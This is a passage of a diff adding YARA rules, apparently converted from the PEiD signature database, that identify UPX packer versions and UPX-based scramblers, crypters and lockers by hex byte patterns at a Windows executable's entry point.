B5 C5 FE FF FF FF 95 09 FF FF FF 8D}
+    condition:
+        $a
+}
+rule PEiD_02422_UPX_Modified_Stub_b____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub b -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02423_UPX_Modified_Stub_b____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub b -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02424_UPX_Modified_Stub_c____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub c -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02425_UPX_Modified_Stub_c____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub c -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2A 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 56 89 FE 29 C6 F3 A4 5E EB 9F 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 FF D3 11 C9 FF D3 72 F8 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02426_UPX_Modified_stub_
+{
+    meta:
+        description = "[UPX Modified stub]"
+        ep_only = "true"
+    strings:
+        $a = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02427_UPX_Modifier_v0_1x_
+{
+    meta:
+        description = "[UPX Modifier v0.1x]"
+        ep_only = "true"
+    strings:
+        $a = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02428_UPX_Protector_v1_0x__2__
+{
+    meta:
+        description = "[UPX Protector v1.0x (2)]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a
+}
+
+rule PEiD_02429_UPX_Protector_v1_0x_
+{
+    meta:
+        description = "[UPX Protector v1.0x]"
+        ep_only = "true"
+    strings:
+        $a = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02430_UPX_v0_51_
+{
+    meta:
+        description = "[UPX v0.51]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02431_UPX_v0_60___v0_61_
+{
+    meta:
+        description = "[UPX v0.60 - v0.61]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02432_UPX_v0_62__DLL_
+{
+    meta:
+        description = "[UPX v0.62 [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02433_UPX_v0_62_
+{
+    meta:
+        description = "[UPX v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02434_UPX_v0_62_
+{
+    meta:
+        description = "[UPX v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02435_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02436_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02437_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02438_UPX_v0_71___v0_72_
+{
+    meta:
+        description = "[UPX v0.71 - v0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02439_UPX_v0_71__DLL_
+{
+    meta:
+        description = "[UPX v0.71 [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02440_UPX_v0_72_
+{
+    meta:
+        description = "[UPX v0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02441_UPX_v0_76_1__dos_exe_
+{
+    meta:
+        description = "[UPX v0.76.1 [dos exe]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02442_UPX_v0_76_1__pe_exe_
+{
+    meta:
+        description = "[UPX v0.76.1 [pe exe]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02443_UPX_v0_81___v0_84_Modified_
+{
+    meta:
+        description = "[UPX v0.81 - v0.84 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02444_UPX_v0_89_6___v1_02___v1_05___v1_22_DLL_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02445_UPX_v0_89_6___v1_02___v1_05___v1_22_Modified_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02446_UPX_v0_89_6___v1_02___v1_05___v1_22_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02447_UPX_v0_89_6___v1_02___v1_05__v1_22__Delphi__stub_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02448_UPX_v0_89_6___v1_02___v1_05__v1_24____Markus___Laszlo__overlay__
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02449_UPX_v1_03___v1_04_Modified_
+{
+    meta:
+        description = "[UPX v1.03 - v1.04 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02450_Upx_v1_2____Marcus___Lazlo_
+{
+    meta:
+        description = "[Upx v1.2 -> Marcus & Lazlo]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02451_UPX_V1_94____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX V1.94 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02452_UPX_v2_0____Markus__Laszlo___Reiser__h__
+{
+    meta:
+        description = "[UPX v2.0 -> Markus, Laszlo & Reiser (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+    condition:
+        $a
+}
+
+rule PEiD_02453_UPX_v2_0____Markus__Laszlo___Reiser__h__
+{
+    meta:
+        description = "[UPX v2.0 -> Markus, Laszlo & Reiser (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02454_UPX_V2_00_V2_90____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX V2.00-V2.90 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02455_UPX_v3_0__DLL_LZMA_____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX v3.0 (DLL_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 0B 00 00 60 BE 00 ?? ?? ?? 8D BE 00 ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02456_UPX_v3_0__EXE_LZMA_____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX v3.0 (EXE_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00 57 83 C3 04 53 68 ?? ?? ?? 00 56}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02457_UPX_HiT_0_0_1____sibaway7_yahoo_com_
+{
+    meta:
+        description = "[UPX$HiT 0.0.1 -> sibaway7@yahoo.com]"
+        ep_only = "false"
+    strings:
+        $a = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02458_UPX_HiT_v0_0_1_
+{
+    meta:
+        description = "[UPX$HiT v0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+    condition:
+        $a
+}
+
+rule PEiD_02459_Upx_Lock_1_0___1_2____CyberDoom___Team_X___BoB___BobSoft_
+{
+    meta:
+        description = "[Upx-Lock 1.0 - 1.2 -> CyberDoom / Team-X & BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02460_UPX_SCRAMBLER_3_06_____OnT_oL_
+{
+    meta:
+        description = "[Convert Base64 to ASCII VVBYLVNDUkFNQkxFUiAzLjA2IC0+IMKpT25Uwq5vTA==]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02461_UPX_Scrambler_by_Guru_eXe_
+{
+    meta:
+        description = "[UPX-Scrambler by Guru.eXe]"
+        ep_only = "false"
+    strings:
+        $a = {66 C7 05 ?? ?? ?? ?? 75 07 E9 ?? FE FF FF 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02462_UPX_Scrambler_RC_v1_x_
+{
+    meta:
+        description = "[UPX-Scrambler RC v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02463_UPX_Shit_0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit 0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02464_UPX_Shit_0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit 0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02465_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02466_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02467_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02468_UPXcrypter____archphase_NWC_
+{
+    meta:
+        description = "[UPXcrypter -> archphase/NWC]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02469_UPXFreak_0_1__Borland_Delphi_____HMX0101_
+{
+    meta:
+        description = "[UPXFreak 0.1 (Borland Delphi) -> HMX0101]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02470_UPXFreak_v0_1__Borland_Delphi_____HMX0101_
+{
+    meta:
+        description = "[UPXFreak v0.1 (Borland Delphi) -> HMX0101]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02471_UPXFreak_V0_1____HMX0101_
+{
+    meta:
+        description = "[UPXFreak V0.1 -> HMX0101]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02472_UPXLock_v1_0____CyberDoom_
+{
+    meta:
+        description = "[UPXLock v1.0 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02473_UPXLock_v1_1____CyberDoom___Bob_
+{
+    meta:
+        description = "[UPXLock v1.1 -> CyberDoom & Bob]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? 00 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02474_UPXShit_0_06_
+{
+    meta:
+        description = "[UPXShit 0.06]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02475_USERNAME_v3_00_
+{
+    meta:
+        description = "[USERNAME v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02476_USSR_0_31___by_Spirit_
+{
+    meta:
+        description = "[USSR 0.31 - by Spirit]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02477_USSR_V0_31____SpiritST___Sign_by_fly_
+{
+    meta:
+        description = "[USSR V0.31 -> SpiritST ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02478_USSR_V0_31____SpiritST_
+{
+    meta:
+        description = "[USSR V0.31 -> SpiritST]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
